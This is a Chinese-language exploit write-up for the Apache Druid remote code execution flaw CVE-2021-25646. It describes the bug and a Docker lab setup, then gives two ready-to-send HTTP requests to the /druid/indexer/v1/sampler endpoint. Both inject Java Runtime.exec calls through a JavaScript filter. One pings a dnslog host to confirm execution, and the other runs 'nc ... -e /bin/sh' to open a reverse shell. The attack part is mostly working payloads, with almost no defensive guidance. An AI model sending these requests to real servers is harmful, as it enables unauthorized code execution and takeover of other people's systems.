Apache Druid 远程代码执行漏洞 CVE-2021-25646

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Apache Druid 远程代码执行漏洞 CVE-2021-25646

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本文作者:PeiQi
本文字数:1713

阅读时长:10min

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Apache Druid 远程代码执行漏洞 CVE-2021-25646



前言



一、

漏洞描述

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码

二、

漏洞影响

Apache Druid < 0.20.1



三、

漏洞复现

这里使用Docker来搭建环境

Apache Druid 远程代码执行漏洞 CVE-2021-25646


Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip

下载之后进入目录 distributiondocker

执行命令编译 docker-compose up -d

Apache Druid 远程代码执行漏洞 CVE-2021-25646

访问 http://xxx.xxx.xxx.xxx:8888正常就行了


Apache Druid 远程代码执行漏洞 CVE-2021-25646


漏洞原理: https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw


POC请求包

POST /druid/indexer/v1/sampler HTTP/1.1Host: xxx.xxx.xxx.xxx:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 995Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

Apache Druid 远程代码执行漏洞 CVE-2021-25646

注意请求中这个位置改为你的dnslog平台地址java.lang.Runtime.getRuntime().exec('ping -c 4 xxxxx.dnslog.cn')

发送请求即可命令执行



Apache Druid 远程代码执行漏洞 CVE-2021-25646



看了下可能大部分都是docker搭建,而里面大部分命令是不存在的,但是发现docker里面居然默认是有 NC 命令的,那我们就可以用nc反弹一个shell了


反弹shell请求包

POST /druid/indexer/v1/sampler HTTP/1.1Host: xxx.xxx.xxx.xxx:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 1008Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

发送请求包就可以得到一个交互式shell了

Apache Druid 远程代码执行漏洞 CVE-2021-25646





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Apache Druid 远程代码执行漏洞 CVE-2021-25646
Apache Druid 远程代码执行漏洞 CVE-2021-25646


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